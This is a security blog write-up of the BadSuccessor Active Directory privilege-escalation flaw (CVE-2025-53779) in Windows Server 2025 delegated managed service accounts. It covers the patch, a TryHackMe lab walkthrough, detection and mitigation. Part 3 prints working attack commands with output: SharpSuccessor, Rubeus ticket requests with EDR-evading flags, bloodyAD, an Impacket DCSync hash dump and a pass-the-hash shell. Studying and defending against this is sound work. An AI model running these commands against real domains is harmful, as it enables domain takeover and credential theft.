August 12, 2026
BadSuccessor: How a “Migration Feature” Became the Fastest Path to Domain Admin
Kerberoasting is dead. Long live BadSuccessor — the CVE-2025–53779 story of how a Windows Server 2025 migration feature quietly became a…

By 𝙽𝙾𝙱𝙾𝙳𝚈_𝟶𝚡𝟷
18 min read
Kerberoasting is dead. Long live BadSuccessor — the CVE-2025–53779 story of how a Windows Server 2025 migration feature quietly became a Domain Admin shortcut.
By nobody_0x1
Prologue: How I Got Here
This writeup didn't start as a vulnerability hunt. It started as a fairly ordinary study session on Active Directory objects.
I was working through AD's account types — users, computers, groups — and landed on service accounts, the identities that run applications instead of humans. The moment I looked closer at traditional service accounts, one thing jumped out immediately: they're a textbook Kerberoasting target. Any account with an SPN (Service Principal Name) registered can have a service ticket requested for it by literally any authenticated domain user — and that ticket is encrypted with a key derived from the account's own password. Add in the very common (and very lazy) admin habits of setting passwords to never expire and handing these accounts excessive privileges "just to make the errors stop," and you've got one of the most reliable privilege escalation paths in AD history.
That sent me down the rabbit hole of how Microsoft actually tried to fix this. That's where MSA and gMSA came in — accounts where AD itself generates and auto-rotates a password, 240 bytes long (120 characters), cryptographically random, never known or typed by a human. Suddenly Kerberoasting a managed account became computationally pointless: you can capture the ticket all day, but there's no cracking a 120-character random key with any wordlist or GPU rig on Earth.
At that point my mental model was simple: Kerberoasting is basically dead for anything modern. Case closed, or so I thought.
Then curiosity pulled me one step further, and I found out Microsoft had shipped something new in Windows Server 2025: the delegated Managed Service Account (dMSA) — built specifically to help organizations migrate away from legacy service accounts without breaking existing access. Same unbreakable 120-character password. Same KDS-root-key cryptography as gMSA. On paper, it looked like the final nail in Kerberoasting's coffin.
So naturally, the question I couldn't let go of was: if the password problem is solved… does that mean dMSA has no attack surface at all?
It didn't take long to find the answer, and the answer is this writeup.
Part 1 — Theory: Meet the Service Account Family
1.1 Traditional Service Accounts — the OG problem child
A traditional service account is just a regular AD user object repurposed to run a service. Someone sets a password, grants "log on as a service," maybe registers an SPN so Kerberos can issue it service tickets. That's it. That's the whole security model.
The problem: the password is a static human-chosen secret, usually never rotated because rotation means manually updating every config file, script, and scheduled task that references it. Combine that with an SPN and you have the textbook Kerberoasting target — any authenticated domain user can request a TGS for that SPN, and the returned ticket is encrypted with a key derived directly from the account's password. Weak password, offline crack, no telemetry from AD itself. Game over.
(For the full technical breakdown of Kerberoasting mechanics, see MITRE ATT&CK — T1558.003: Kerberoasting.)
1.2 MSA — Managed Service Accounts (2008 R2)
Microsoft's first fix: bind a service account to exactly one computer, and let AD generate and auto-rotate the password. The bound computer's LSA fetches the current password over LDAP whenever it needs it — no human, no script, no config file ever holds it in cleartext.
Great idea, narrow use case: single-server only. The moment you need the same identity across a web farm or a SQL cluster, MSA can't help you.
(Official reference: Microsoft Learn — Service Accounts overview.)
1.3 gMSA — Group Managed Service Accounts (2012)
The generalization: instead of binding to one computer, bind to a group. Any computer that's a member of PrincipalsAllowedToRetrieveManagedPassword can independently retrieve the current password.
The clever part is how that password is generated. Before any gMSA exists, a domain-wide secret called the KDS Root Key is created. From then on, every Domain Controller can independently compute the same password for a given gMSA at a given point in time, using a key-derivation function:
ManagedPassword = KDF(KDS_RootKey, gMSA_SID, ManagedPasswordID, TimeInterval)ManagedPassword = KDF(KDS_RootKey, gMSA_SID, ManagedPasswordID, TimeInterval)No replication of a password blob needed between DCs — they just derive it. This is the backbone that dMSA reuses.
gMSA closed the Kerberoasting door almost completely — but it opened a smaller one: if an attacker gets SYSTEM on any computer authorized to retrieve the password, they can dump it straight out of LSASS memory with Mimikatz or DSInternals. The account is only as strong as its weakest authorized host.
(Official reference: Microsoft Learn — Group Managed Service Accounts overview.)
1.4 dMSA — Delegated Managed Service Accounts (Server 2025)
dMSA exists to solve a completely different problem: migration pain. Thousands of enterprises are sitting on legacy svc-* accounts they're terrified to touch because rotating them or changing their SIDs might silently break access somewhere. dMSA lets you create a new managed account and link it to an old one via an attribute called msDS-ManagedAccountPrecededByLink, so that once "migrated," the new dMSA inherits the old account's effective access — without anyone having to manually re-map every ACL and group membership.
Under the hood, when a dMSA authenticates, the KDC builds its Kerberos ticket's PAC (Privilege Attribute Certificate — the structure that carries group memberships and SIDs) as if the request came from the linked, superseded account. That's the whole trick: the KDC trusts the link.
If you want to go straight to the source, this is Microsoft's own framing of the feature: Microsoft Learn — Delegated Managed Service Accounts overview.
And that's exactly where things go wrong.
Part 2 — The Vulnerability: BadSuccessor (CVE-2025–53779)
Discovered by Yuval Gordon at Akamai and published in their Security Research blog — Akamai: "BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory" — BadSuccessor abuses a gap in how dMSA linking is authorized. Setting msDS-ManagedAccountPrecededByLink (and marking the migration state as complete via msDS-DelegatedMSAState) requires no validation that you actually control the account you're linking to — it only checks that you're allowed to create/modify the dMSA object itself.
That one permission — being allowed to create msDS-DelegatedManagedServiceAccount objects in an OU — is small and easy to miss. It's the kind of thing that gets handed to junior admins or helpdesk staff as part of routine setup, long before dMSA even existed as an idea. Nobody checked for it, because nobody knew to.
Put the pieces together and the attack path is almost insultingly short:
- Find any OU where you have
CreateChild(orGenericAll/WriteDACL/WriteOwner) rights onmsDS-DelegatedManagedServiceAccountobjects. - Create a dMSA there.
- Link it — via
msDS-ManagedAccountPrecededByLink— to a Domain Admin's user object. - Mark the migration as "complete."
- Authenticate as your dMSA. The KDC hands you a TGT whose PAC carries the Domain Admin's group memberships.
No password guessing. No Kerberoasting. No touching LSASS on a DC. No interaction with the real Domain Admin account whatsoever. You just… declare yourself its successor, and the KDC believes you.
It's less "hacking" and more "faking a legal document." If it looks unclaimed and you can fill out the paperwork, AD hands you the keys.
The Patch
Everything above describes the bug as it was first found. Microsoft has since fixed it, and it's worth explaining how, because the fix shows exactly what was broken in the first place.
The facts. Microsoft assigned this bug CVE-2025–53779 and patched it in the August 2025 Patch Tuesday update (released August 12, 2025). It's rated CVSS 3.1, 7.2 (High), vector AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, and classified as CWE-23 (Relative Path Traversal) in Windows Kerberos. Microsoft calls it a "Windows Kerberos Elevation of Privilege Vulnerability." Credit for finding it goes to Yuval Gordon at Akamai. One part of that vector is worth pointing out: PR:H (Privileges Required: High), meaning the score itself assumes the attacker already has real, meaningful logged-in access to the domain — this matches the OU-permission requirement covered above. This was never a bug that a random outsider with no login could use.
Worth being precise on one more point too: this was a publicly disclosed zero-day, meaning the technique was public knowledge before the patch shipped (Yuval's original May 2025 blog post). That's a different claim from "actively exploited in the wild" — Microsoft, Tenable, and Help Net Security all note no confirmed evidence of in-the-wild exploitation, and Microsoft rated the exploitation likelihood as "less likely." A few lower-quality vulnerability trackers muddy that distinction and imply active exploitation. Take that with a grain of salt — the primary sources don't back it up.
What was actually broken. Before the patch, setting msDS-ManagedAccountPrecededByLink on a dMSA you controlled — and pointing it at any account, up to and including a Domain Admin — was enough on its own. When that dMSA logged in, the KDC built its ticket's PAC using the target account's group memberships, with no check that the target had ever agreed to being "succeeded." A real migration is naturally one-sided from the old account's point of view — it doesn't "vote" on the change — and the old KDC logic copied that one-sided design a bit too closely: it just believed whatever the dMSA claimed. That's the real mechanism behind "the KDC trusts the link" — a gap in how the KDC checked that a predecessor relationship was genuine before handing out a ticket.
What the patch changed. Based on Akamai's follow-up research, the fix lives inside kdcsvc.dll, not in permissions on the attribute itself:
- The
msDS-ManagedAccountPrecededByLinkattribute can still be written, by anyone with the same OU permissions as before. That part isn't blocked. - But now, the KDC checks the relationship when a ticket is actually requested, and only accepts it if the link is two-way — meaning the target account must also point back at the dMSA, the way a real, admin-run migration would set things up.
In practice: a one-way link from a dMSA you fully control, pointed at an account you don't otherwise touch, no longer gets you a working, privileged ticket. Akamai tested this after the patch and confirmed the write still succeeds, but the KDC now refuses to issue the ticket unless the link goes both ways. That shuts the door on the original zero-effort version of this attack — the one where "I can create a dMSA in this OU" alone was enough to reach Domain Admin.
The "declare yourself its successor and AD believes you" attack shown earlier, and demonstrated in the lab below, is the pre-patch version. That's what the TryHackMe room is built to teach. It won't work the same way on a fully patched Server 2025 DC. What does still work after the patch is covered in Part 4, where Akamai's follow-up shows the idea survives in a smaller, narrower form.
Attack Prerequisites
Before diving into the exploit, it's worth being clear: just having dMSA support in a domain doesn't mean that domain is instantly hackable. Not every logged-in user can pull this off. Here's what actually needs to be true:
- Starting point: a real, logged-in domain account — doesn't matter which privilege level. This isn't an attack you can do without logging in at all.
- The permission that matters:
CreateChildrights specifically formsDS-DelegatedManagedServiceAccountobjects, on at least one OU — or something broader that gets you the same result (GenericAll,WriteDACL,WriteOwner). - OU ownership counts too. Anyone who owns an OU can change its permissions no matter what the current rules say — so ownership is a hidden way to get the same access, even without an obvious grant.
- Why this permission shows up so often: general "create objects in this OU" delegation — the kind given out to helpdesk or junior admin teams all the time — often includes rights to create dMSA objects too, without anyone realizing it. That's because this delegation was usually set up long before dMSA even existed.
- What version you need: at least one Domain Controller running Windows Server 2025, since that's the version that introduces the dMSA object type. At the time this was disclosed, only about 0.7% of AD domains had this — a real limit on how many companies were actually exposed.
- Patch matters now. On a fully patched DC, the simple one-way version of this attack no longer works — see the note above and Part 4.
Attack Chain Explained
Before jumping into commands, here's the shape of the whole chain, end to end:
1. Discover a delegated OU with dMSA-creation rights
↓
2. Create an attacker-controlled dMSA object in that OU
↓
3. Set msDS-ManagedAccountPrecededByLink to point at the target account
↓
4. Set msDS-DelegatedMSAState to mark migration as "completed"
↓
5. Request Kerberos credentials (TGT) for the dMSA
↓
6. KDC processes the predecessor/successor relationship
↓
7. PAC is built carrying the target's authorization context
↓
8. Request service tickets (TGS) as the now-privileged dMSA
↓
9. Access privileged resources / DCSync / domain compromise1. Discover a delegated OU with dMSA-creation rights
↓
2. Create an attacker-controlled dMSA object in that OU
↓
3. Set msDS-ManagedAccountPrecededByLink to point at the target account
↓
4. Set msDS-DelegatedMSAState to mark migration as "completed"
↓
5. Request Kerberos credentials (TGT) for the dMSA
↓
6. KDC processes the predecessor/successor relationship
↓
7. PAC is built carrying the target's authorization context
↓
8. Request service tickets (TGS) as the now-privileged dMSA
↓
9. Access privileged resources / DCSync / domain compromiseSteps 1–2 are pure permission abuse — no cryptography yet. Having CreateChild on msDS-DelegatedManagedServiceAccount basically means "you can create a service account that will later be able to claim someone else's identity." Almost nobody audits for this specific permission, because it's newer than most delegation already sitting in a company's AD.
Steps 3–4 are where the actual claim gets made. This is just a directory write — before the patch, with zero cross-checking against the target account. The line being crossed here is about authorization, not authentication. You're not proving you are the target account. You're just claiming a relationship, and before the patch, the KDC took your word for it.
Steps 5–7 are where it gets serious. The KDC's whole job is turning "who is this?" into "what are they allowed to touch?" — through the PAC. Before the patch, it did that using the target's group memberships as soon as the link and status attributes were set, without ever checking whether the target had any record of agreeing to it. That's the real failure: an access decision made based on one unverified, one-sided claim.
Steps 8–9 are just… normal Kerberos, working exactly as designed. That's the unsettling part. Once the dMSA holds a ticket with a privileged PAC, every service ticket request or credential dump after that behaves exactly like the real account is doing it — because every service checking the ticket just reads the PAC and trusts it.
Part 3 — Practical: Popping BadSuccessor in the Lab
I worked through this from start to finish using the BadSuccessor room on TryHackMe, which sets up a Server 2025 domain (tryhackme.local) with an intentionally vulnerable OU permission, built to show the pre-patch version of the bug for learning purposes. If you're trying this on your own patched Server 2025 lab, the one-way link step won't get you a privileged ticket anymore — see the patch notes above and the "what survives" section in Part 4. Below is the full attack, on both Windows and Linux, with notes explaining what each step actually does.
3.1 Recon — find who can already create a dMSA
The first question in any BadSuccessor check isn't "is this domain vulnerable" (on an unpatched DC, it almost always is, since dMSA creation isn't locked down by default) — it's "who already has the permission, and in which OU."
Akamai's own toolkit includes a script for this, Get-BadSuccessorOUPermissions.ps1. It checks every OU in the domain for permissions like CreateChild, GenericAll, WriteDACL, or WriteOwner — specifically on msDS-DelegatedManagedServiceAccount objects (or on "All Objects") — while skipping the accounts you'd expect to have this power anyway (Domain Admins, local Administrators, SYSTEM, Enterprise Admins). It also checks who owns each OU, since ownership gives the same power without needing an obvious permission entry.
PS C:\PoC> .\Get-BadSuccessorOUPermissions.ps1
Identity OUs
-------- ---
TRYHACKME\hmann {OU=LabOU,DC=tryhackme,DC=local}
TRYHACKME\tbyte {OU=LabOU,DC=tryhackme,DC=local}
TRYHACKME\ditall {OU=LabOU,DC=tryhackme,DC=local}PS C:\PoC> .\Get-BadSuccessorOUPermissions.ps1
Identity OUs
-------- ---
TRYHACKME\hmann {OU=LabOU,DC=tryhackme,DC=local}
TRYHACKME\tbyte {OU=LabOU,DC=tryhackme,DC=local}
TRYHACKME\ditall {OU=LabOU,DC=tryhackme,DC=local}Three accounts, one OU. In a real security assessment, this table alone is often worth reporting — "these accounts can reach Domain Admin without cracking a single password" tends to get attention fast. This is also exactly what the Attack Prerequisites section above is about: it answers "who has CreateChild on msDS-DelegatedManagedServiceAccount."
3.2 Exploitation — the Windows path
Manually crafting the dMSA object and its attributes is possible by hand, but the community PoC SharpSuccessor (by Logan Goins) automates the whole creation-and-linking sequence in one call:
PS C:\PoC> .\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" `
/account:tbyte /name:pentest_dmsa /impersonate:Administrator
[+] Adding dnshostname pentest_dmsa.tryhackme.local
[+] Adding samaccountname pentest_dmsa$
[+] Administrator's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Successfully weaponized dMSA objectPS C:\PoC> .\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" `
/account:tbyte /name:pentest_dmsa /impersonate:Administrator
[+] Adding dnshostname pentest_dmsa.tryhackme.local
[+] Adding samaccountname pentest_dmsa$
[+] Administrator's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Successfully weaponized dMSA objectIn one command: create the dMSA in the OU I control, link it to Administrator, flip the migration-state flag, set the encryption types and account-control bits needed for it to behave like a real service account. The object is now "weaponized" — this is steps 2 through 4 of the attack chain above, done in a single call.
Next, grab a usable TGT for the current user via a classic unconstrained-delegation trick baked into Rubeus (tgtdeleg — asks the system to impersonate the current logon and export the TGT straight from memory):
PS C:\PoC> .\Rubeus.exe tgtdeleg /nowrap
[+] Kerberos GSS-API initialization success!
[*] base64(ticket.kirbi): doIFvjCCBbqg...PS C:\PoC> .\Rubeus.exe tgtdeleg /nowrap
[+] Kerberos GSS-API initialization success!
[*] base64(ticket.kirbi): doIFvjCCBbqg...Feed that TGT in and ask for a TGS as the dMSA — this is the pivot point where the KDC's predecessor-relationship handling actually gets exercised (attack chain step 5–6):
PS C:\PoC> .\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local `
/opsec /dmsa /nowrap /ptt /ticket:doIFvjC...
UserName : pentest_dmsa$ (NT_PRINCIPAL)
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardablePS C:\PoC> .\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local `
/opsec /dmsa /nowrap /ptt /ticket:doIFvjC...
UserName : pentest_dmsa$ (NT_PRINCIPAL)
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardableThe /opsec flag matters operationally — it disables RC4 and ticket-reuse behaviors that tend to trip EDR/SIEM detections built around classic Kerberoasting or Golden Ticket patterns. /dmsa tells Rubeus to follow the dMSA-specific Kerberos code path. This request succeeding, on an unpatched DC, is the moment the exploit actually lands: it means the KDC accepted the one-sided link and built a PAC without ever checking whether Administrator had any reciprocal record of the relationship.
That krbtgt-scoped ticket is effectively a TGT for the dMSA — now impersonating Administrator's privileges. One more hop gets a concrete service ticket:
PS C:\PoC> .\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local `
/opsec /dmsa /nowrap /ptt /ticket:doIGLjCCB...PS C:\PoC> .\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local `
/opsec /dmsa /nowrap /ptt /ticket:doIGLjCCB...And with that ticket sitting in memory (/ptt — pass-the-ticket, injected immediately, no file to drop):
PS C:\PoC> dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\
-a---- 5/29/2025 9:02 AM 251 flag.txtPS C:\PoC> dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\
-a---- 5/29/2025 9:02 AM 251 flag.txtDomain Admin's desktop, read from a low-privilege starting account, without ever knowing the Administrator's password or Kerberoasting a single ticket.
3.3 Exploitation — the Linux path
The same attack, from a Kali box, using bloodyAD and Impacket — useful because it doesn't require dropping a compiled C# binary on target.
First, confirm the writable permissions bloodyAD can see:
root@attackbox:~# bloodyAD -d tryhackme.local -u 'tbyte' -p 'P@SSw0rd345' \
--host DC-LAB2025-01.tryhackme.local get writable --detail
distinguishedName: OU=LabOU,DC=tryhackme,DC=local
dSA: CREATE_CHILDroot@attackbox:~# bloodyAD -d tryhackme.local -u 'tbyte' -p 'P@SSw0rd345' \
--host DC-LAB2025-01.tryhackme.local get writable --detail
distinguishedName: OU=LabOU,DC=tryhackme,DC=local
dSA: CREATE_CHILDdSA: CREATE_CHILD on the OU confirms the same weakness the recon script flagged. bloodyAD (as of 2.1.18) ships a purpose-built module for this exact attack:
root@attackbox:~# bloodyAD -d tryhackme.local -u 'tbyte' -p 'P@SSw0rd345' \
--host DC-LAB2025-01.tryhackme.local add badSuccessor pentest2_dmsa
[*] Creating DMSA pentest2_dmsa$ in OU=LabOU,DC=tryhackme,DC=local
[*] Impersonating: CN=Administrator,CN=Users,DC=tryhackme,DC=local
[+] dMSA TGT stored in ccache file pentest2_dmsa_ts.ccache
dMSA current keys found in TGS:
AES256: 0554f7dc7912...root@attackbox:~# bloodyAD -d tryhackme.local -u 'tbyte' -p 'P@SSw0rd345' \
--host DC-LAB2025-01.tryhackme.local add badSuccessor pentest2_dmsa
[*] Creating DMSA pentest2_dmsa$ in OU=LabOU,DC=tryhackme,DC=local
[*] Impersonating: CN=Administrator,CN=Users,DC=tryhackme,DC=local
[+] dMSA TGT stored in ccache file pentest2_dmsa_ts.ccache
dMSA current keys found in TGS:
AES256: 0554f7dc7912...One command: creates the dMSA, links it, requests the TGT, and drops a usable Kerberos credential cache — plus the dMSA's own derived keys, harvested straight from the TGS.
From here it's a standard Kerberos-authenticated Impacket chain. Get a service ticket:
export KRB5CCNAME=pentest2_dmsa_ts.ccache
python3 /opt/impacket/examples/getST.py -dc-ip 10.211.101.10 \
-spn 'cifs/DC-LAB2025-01.tryhackme.local' \
'tryhackme.local/pentest2_dmsa$' -k -no-passexport KRB5CCNAME=pentest2_dmsa_ts.ccache
python3 /opt/impacket/examples/getST.py -dc-ip 10.211.101.10 \
-spn 'cifs/DC-LAB2025-01.tryhackme.local' \
'tryhackme.local/pentest2_dmsa$' -k -no-passThen go straight for the crown jewels — a full DCSync, dumping every NTLM hash in the domain:
export KRB5CCNAME=pentest2_dmsa\$.ccache
python3 /opt/impacket/examples/secretsdump.py -k -no-pass \
'pentest2_dmsa$'@DC-LAB2025-01.tryhackme.local
Administrator:500:aad3b435...:984f755c74...:::
krbtgt:502:aad3b435...:52c43c39a2e4a1bef1cf81e06dbc9e06:::export KRB5CCNAME=pentest2_dmsa\$.ccache
python3 /opt/impacket/examples/secretsdump.py -k -no-pass \
'pentest2_dmsa$'@DC-LAB2025-01.tryhackme.local
Administrator:500:aad3b435...:984f755c74...:::
krbtgt:502:aad3b435...:52c43c39a2e4a1bef1cf81e06dbc9e06:::And finally, pass-the-hash straight into a shell as Domain Admin:
python3 /opt/impacket/examples/wmiexec.py \
'tryhackme.local/administrator@10.211.101.10' -hashes :984f755c74...
C:\>whoami
tryhackme\administratorpython3 /opt/impacket/examples/wmiexec.py \
'tryhackme.local/administrator@10.211.101.10' -hashes :984f755c74...
C:\>whoami
tryhackme\administratorStart to finish: recon script, one weaponization command, three Kerberos hops, full domain compromise. No cracking rig required. That krbtgt hash pulled by secretsdump.py, by the way, is the key underlying every Kerberos ticket in the domain — it's the same credential a Golden Ticket attack forges around, which is a good reminder of how much blast radius one DCSync buys you.
Part 4 — Why This Is Structurally Different From Kerberoasting
It's worth being clear about what actually changed here, because it's easy to lump this in as "just another Kerberoasting trick."
Kerberoasting is a cryptographic weakness — the account's password is weak, so the key protecting its ticket can be cracked offline. gMSA and dMSA both close that door completely; a 120-character random key isn't getting cracked by anyone, patched or not.
BadSuccessor (before the patch) was an authorization weakness — nothing was ever cracked. The KDC was flat-out told "this new account replaces that old one," and it went along with it, without checking whether the person making that claim had any real relationship to the target account. It's the AD version of forging a document that says "I'm the heir to this house" and having the courthouse stamp it without checking your ID.
That's also why the fix isn't "use a stronger password" — there's no password involved to strengthen. The real fix Microsoft shipped is checking on the KDC side: make the courthouse actually check the ID. But the bigger lesson for defenders is still about permission hygiene — knowing exactly who can create msDS-DelegatedManagedServiceAccount objects, and treating that permission with the same seriousness as Domain Admin membership.
What survives after the patch: Akamai's follow-up work (Akamai — "BadSuccessor Is Dead, Long Live BadSuccessor(?)") found the idea isn't completely dead — just smaller now. If an attacker already controls both the dMSA and the target account (say, through existing GenericWrite rights on a user or computer), they can still set up the now-required two-way link and pull the target's Kerberos keys through that relationship. That works like a quieter version of a shadow-credential attack or a DCSync-style credential grab — but only if the attacker already controls the target beforehand. It's now a way to steal credentials from something you've already broken into, not the original "walk in and take over the domain" bug. Smaller blast radius — but not zero.
Detection
I'm not going to make up specific Windows Event IDs here without a source that actually confirms them for this exact attack — none of the material I used for this piece points to one, so check your own SIEM/EDR vendor's documentation and Microsoft's directory auditing guidance before setting up alerts. What you can reasonably watch for:
- Unexpected
msDS-DelegatedManagedServiceAccountobject creation, outside of known, controlled service account setup processes — especially by accounts that aren't dedicated service-account admins. - Any write to
msDS-ManagedAccountPrecededByLink, especially when the target account is privileged (Domain Admins, Enterprise Admins, or any Tier-0 account). This attribute is rarely touched outside a real, documented migration. - Any write to
msDS-DelegatedMSAStatemarking an object "migration completed" shortly after it was created, with no matching change ticket. - A link between dMSA creation events and privileged access happening right after — things like DC replication requests, access to sensitive shares, or admin-group changes. That timing pattern is often more useful than any single event alone.
- Compare OU permissions over time. Take a baseline of ACLs on any OU that allows dMSA creation, and check regularly for changes — this catches both the first bad permission grant and any changes made later.
Part 5 — Mitigation
A patch exists now — apply it first. Microsoft released the fix for CVE-2025–53779 in the August 2025 Patch Tuesday, and every Windows Server 2025 Domain Controller should have it installed. That fixes the original one-way-link version of the attack described in this piece. That doesn't mean dMSA permission checks are optional now, though — Akamai's post-patch research (see Part 4) shows a smaller version of this trick still works.
Practical checklist:
- Apply the August 2025 security update to every Windows Server 2025 DC.
- List all accounts with dMSA-creation rights across the whole domain, using the recon script above or an equivalent BloodHound query — check every OU, not just the ones you assume matter.
- Review
CreateChildgrants tied tomsDS-DelegatedManagedServiceAccounton every OU. This is the exact permission behind the bug. - Review
GenericAllgrants on OUs — this automatically includesCreateChildand everything else. - Review
WriteDACLgrants — this lets someone grant themselvesCreateChildlater, even if they don't have it today. - Review
WriteOwnergrants — ownership lets someone rewrite the entire permission list, bypassing what's currently set. - Audit OU ownership on its own, not just the visible permission entries.
- Limit dMSA creation to Tier-0-controlled OUs — treat it with the same care as Domain Admin group membership.
- Check for any existing
msDS-ManagedAccountPrecededByLinkvalues pointing at privileged accounts, outside a known, real migration. - Keep monitoring changes to these migration attributes going forward — not just a one-time check.
- Re-run permission audits regularly, since OU permissions tend to pile up quietly as delegated access grows over time.
None of this fully removes the risk — see the "what survives" section in Part 4. Patching plus good permission hygiene closes the original, wide-open version of this attack. It doesn't take dMSA linking off the list of things worth keeping an eye on.
For a deeper look at mitigation and detection, SpecterOps: "Understanding & Mitigating BadSuccessor" by Jim Sykora is worth reading in full — it goes further into detection than this piece has room for.
Closing Thoughts
BadSuccessor is a good reminder: every security improvement creates a new point of trust somewhere, and that trust is only as strong as the assumptions built into it. Microsoft spent over a decade hardening service accounts against password-based attacks — MSA, then gMSA, unbreakable 120-character passwords, memory-protected key material. Then a migration convenience feature quietly assumed that "I can create this object" also meant "I have the right to speak for this account" — and a whole tier of privilege escalation opened up through a permission nobody thought to check.
What started as me trying to convince myself that "Kerberoasting is dead" turned into learning that the work never really stops — it just shifts to a different layer of trust. The password problem got solved. The authorization problem was waiting right behind it. And even now that Microsoft has closed the original hole, Akamai's follow-up work shows the core idea — inheriting an identity through a relationship nobody double-checked — hasn't fully gone away, just gotten smaller.
The lesson here isn't "don't use dMSA." It's the same lesson AD has been teaching since Kerberoasting was first written about: delegation without auditing is a privilege escalation waiting to happen.
References
- Yuval Gordon, Akamai Security Research — BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory
- Akamai Security Research — BadSuccessor Is Dead, Long Live BadSuccessor(?) (post-patch analysis)
- Jim Sykora, SpecterOps — Understanding & Mitigating BadSuccessor
- MSRC / NVD — CVE-2025–53779
- Microsoft Learn — Delegated Managed Service Accounts overview
- Microsoft Learn — Group Managed Service Accounts overview
- Microsoft Learn — Service Accounts overview
- Logan Goins — SharpSuccessor (GitHub)
- CravateRouge — bloodyAD (GitHub)
- Fortra — Impacket
- TryHackMe — BadSuccessor room
- MITRE ATT&CK — T1558.003: Kerberoasting
- CVE-2025–53779
Lab conducted in an authorized, isolated TryHackMe environment. Never run these techniques against systems you don't own or have explicit written authorization to test.
Happy hacking 🐉
- GitHub: nobody-0x1
- LinkedIn: amine-brihi